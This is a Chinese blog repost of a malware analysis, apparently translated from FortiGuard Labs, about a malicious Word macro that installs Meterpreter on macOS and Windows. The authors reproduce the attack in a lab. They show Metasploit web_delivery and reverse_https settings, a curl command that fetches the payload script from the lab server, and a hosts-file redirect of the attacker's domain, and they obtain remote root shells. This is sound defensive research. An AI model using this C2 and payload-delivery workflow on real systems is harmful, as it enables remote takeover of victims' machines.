针对Mac OS X和Windows两大系统的恶意word文档分析(二)

小龙 2017-4-17 代码审计 0 0

 

http://p5.qhimg.com/t0106acaf0d752c605f.png

 

前言


在3月22号我们发布的博文,(安全客地址) 中, FortiGuard实验室介绍了一款针对于MACOS和WINDOWS的新Word宏恶意软件。 在对这款恶意软件进一步调查之后,我们确信在成功感染之后,后渗透的meterperter代理会运行在目标的系统上。Meterpreter是Metasploit的一部分,更多的信息可以在这里看到。

为了让Meterpreter成功运行,攻击者的服务器上一定会运行着Metasploit来作为控制中心控制被感染的系统。 因为攻击者的服务器并没有作出任何响应,我们决定安装 Metasploit来确认我们的观察。

这篇博客提供了我们设置的服务器来进行攻击行为的复现,来看看攻击者可以在受感染的系统上做什么。

测试环境


测试环境包含了三台64位虚拟机,分别运行着windows, macos和kali。其中windows和macos分别作为受感染的系统,而kali作为运行着Metasploit的攻击者服务器。

下面是三台服务器的IP地址:

Windows 7: 192.168.71.127

Mac OS X: 192.168.71.128

Kali Linux: 192.168.71.129

设置Metasploit


首先,我们在安装着Metasploit的Kali虚拟机上新建一个包含着设置Metasploit所需命令的脚本。

http://p5.qhimg.com/t01dab9c3ffc554210c.png

图1 脚本文件的内容

输入msfconsole -q -r osx_meterpreter_test来在安静模式下(-q)执行Metasploit,并加载脚本文件(-r)。

http://p8.qhimg.com/t01c189f065b690d652.png

图2 运行Metasploit

一旦加载完之后,运行show options来查看这次会话中的Metasploit的当前配置。

我们这次测试使用了两个Metasploit组件,一个是web_delivery模块,另外一个是reverse_https的payload。

SRVHOST和 LHOST两个参数是用来设置kali系统的IP(192.168.71.129)。 IP地址作为一监听(对于回传的连接,监听在TCP/443本地端口上) 同时作为一个服务端(监听在tcp/8080(SRVPORT)) 来传递reverse_https 这个payload。

show options命令隐藏了某些只能在show advanced命令下查看的设置。唯一没被显示的设置是StagerVerifySSLCert,而这个参数我们设置为false。这样可以防止在建立安全通信时验证SSL证书的有效性。

http://p8.qhimg.com/t01a4c3b5b75ef26c00.png

图3 显示设置攻击时的选项

下一步是执行run命令,意味着开启了HTTPS 反弹处理/服务,这样它就准备好了与靶机的连接。看图4,一段python脚本已经生成,等待感染系统来运行。

http://p0.qhimg.com/t01c4253e069793acc1.png

图4

但是不要直接在靶机上执行这段代码,而是要看HTTPS请求的数据服务端是如何作回应的。 运行curl -k https://192.168.71.129:8080/, 我们可以看到一段python脚本代码被接收了。

http://p1.qhimg.com/t014a743ac96c1cf375.png

图5 返回靶机的脚本

如果我们把在恶意宏是发现的代码与上一步生成的Metasploit代码做对比,很容易就能看出相同的元素(黄色高亮),但是明显base64编码的内容不同。

http://p5.qhimg.com/t0136c3b38a73d579f2.png

下一步就是解码base64的数据来查看将会在靶机上执行的代码。 为了完成这一步。调用一下base64工具就足够了,而且也可以在Metasploit的界面上执行。

命令语法是echo “” | base64 -d

http://p5.qhimg.com/t0108796787f3fccaaf.png

图6 解码base64数据

在恶意软件的样本中,base64的解码数据被传递到了ExecuteForOSX()函数中(左侧)。 再一次,通过对比两段代码,我们可以看到它们是类似的,当然如果不算URL的话。

http://p3.qhimg.com/t015d0f8ee5b8a4ad89.png

演示对Mac OS X的攻击


接下来,在Mac OS X的机器上,我们创建一个新文件名为"osx_meterpreter.py",这个文件包含着上边表格右侧的代码。然后通过调用Python解释器来执行这一段脚本。

http://p7.qhimg.com/t016f772ecd82141172.png

图7 在 Mac OS X上运行python脚本

我们可以看到程序并没有出任何错误,双击666。

当我们返回Kali上的Metasploit控制台时,我们可以看到一个meterpreter会话已经连接了。 这个sessions命令可以看到目前的meterpreter会话。 输出显示了一个可用的类型为"meterpreter python/osx" 的会话。它表明会话正确的建立了。

http://p7.qhimg.com/t0134d19e24efb83191.png

图8 一个打开meterpreter会话。

命令sessions -i 1来启动这个会话一个交互的shell, 如meterpreter控制台显示的一样。 我们执行的第一个命令是meterpreter命令: sysinfo, 这个命令收集靶机的信息,然后如图9一样显示出来。在这个场景中,它折中的显示了一个Mac OS X机器 的信息。

http://p3.qhimg.com/t017c525592dd33ed18.png

图9 Mac OS X靶机的sys 信息。

现在,为了更刺激一点, shell命令被执行了。这个命令开启了一个可以在本地控制远程靶机的shell。 一个"sh-3.2" 的控制台出现了,从这我们可以执行任何的命令,即相当于在远程靶机执行的命令。 id命令用来显示用户的id值,在这个例子中是"root"用户。

http://p1.qhimg.com/t01694538c845f15b8b.png

图10 得到Mac OS X靶机的shell

还有一点值的提的是,即使Metasploit服务端宕机了,运行在靶机上的python仍然会存活,并一直尝试连接服务器直到服务器上线为止。 一旦这个情况发生了,靶机自动连接并且与服务器建立一个会话。

演示Windows 7的攻击


在Windows7的靶机上,我们要做的第一件事就是修改"hosts"文件, 如下所示,可以在“%SystemRoot%\System32\drivers\etc\”文件夹下找到。 这个文件是用来建立域名与IP之间的映射的。

http://p9.qhimg.com/t01397439746dde3902.png

图11 修改host文件

作为结果,所有的指向pizza.vvlxpress.com的请求都会被发送到kali(192.168.71.129)系统中。 然后我们让64位DLL在powershell.exe进程中运行。它会连接到运行着Metasploit的Kali系统上。

当我们回到kali上的metasploit的控制台时,我们看到一个meterpreter会话已经打开了。然后我们可以使用sessions命令来查看目前的meterpreter会话。 输出显示了有一个类型为"meterpreter x64/windows"的会话。sysinfo命令如图12所示,显示了windows系统靶机的信息。

http://p0.qhimg.com/t0175882a7db37e46a5.png

图12 得到windows靶机的系统信息.

在这个连接建立了之后,我们下一步检查系统信息。如图13, 我们可以对和图12中得到的信息做对比.

http://p4.qhimg.com/t01705e54b8c5db17fd.png

图13 感染的windows靶机的信息

然后我们执行shell命令来控制感染的Windows机器。 图14展示了在我们得到shell之后执行dir命令之后的输出。

转载请注明来自华盟网,本文标题:《针对Mac OS X和Windows两大系统的恶意word文档分析(二)》

喜欢 (0) 发布评论